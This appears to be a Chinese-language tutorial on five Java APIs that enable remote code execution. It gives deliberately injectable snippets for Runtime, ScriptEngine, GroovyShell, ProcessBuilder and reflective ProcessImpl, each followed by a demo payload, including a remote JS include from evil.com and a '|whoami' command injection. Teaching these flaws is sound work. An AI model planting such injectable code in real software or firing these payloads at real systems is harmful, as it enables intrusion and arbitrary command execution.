java 五大常见 RCE API
Runtime
最基本的 RCE 利用
Runtime.getRuntime().exec(cmd)
getRuntime() 常用于执行本地命令,使用频率较高
LoadJs
public void jsEngine(String url) throws Exception {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
}
通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行远程恶意代码
假设公网上有一恶意 js 脚本,该脚本导入了 java 环境执行 java 命令,我们就可以远程包含这个文件执行其恶意代码
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
payload
url=http://evil.com/java/1.js
⚠️ 在Java 8之后移除了ScriptEngineManager的eval
groovy
Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码
GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。
@GetMapping("/groovy")
public String groovyExec(String cmd, Model model) {
GroovyShell shell = new GroovyShell();
try {
shell.evaluate(cmd);
model.addAttribute("results", "执行成功!!!");
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "basevul/rce/groovy";
}
payload
http://127.0.0.1:8000/home/rce/groovy?cmd='calc'.execute()
ProcessBuilder
Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序)。
Process 类提供了执行从进程输入、执行输出到进程、等待进程完成、检查进程的退出状态以及销毁(杀掉)进程的方法。
ProcessBuilder.start() 和 Runtime.exec 方法创建一个本机进程,并返回 Process 子类的一个实例,该实例可用来控制进程并获取相关信息。
创建的子进程没有自己的终端或控制台。它的所有标准 io(即 stdin,stdout,stderr)操作都将通过三个流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父进程,通过流的形式进行读取。
// String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
StringBuilder sb = new StringBuilder();
String line;
String results;
// 利用指定的操作系统程序和参数构造一个进程生成器
ProcessBuilder pb = new ProcessBuilder(cmdList);
pb.redirectErrorStream(true);
// 使用此进程生成器的属性启动一个新进程
Process process = null;
try {
process = pb.start();
// 取得命令结果的输出流
InputStream fis = process.getInputStream();
// 用一个读输出流类去读
InputStreamReader isr = new InputStreamReader(fis, "GBK");
// 用缓存器读行
BufferedReader br = new BufferedReader(isr);
//直到读完为止
while ((line = br.readLine()) != null) {
sb.append(line).append(System.lineSeparator());
}
results = sb.toString();
} catch (IOException e) {
e.printStackTrace();
results = e.toString();
payload
?ip=127.0.0.1|whoami
ProcessImpl
ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
对于ProcessImpl类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的
该类非Public修饰,所以在不同包下只能通过反射的方式去调用执行。
public static String vul(String cmd) throws Exception {
// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
Class clazz = Class.forName("java.lang.ProcessImpl");
// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
// 使用 method.setAccessible 方法将 start 方法设为可访问
method.setAccessible(true);
// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
payload
cmd=whoami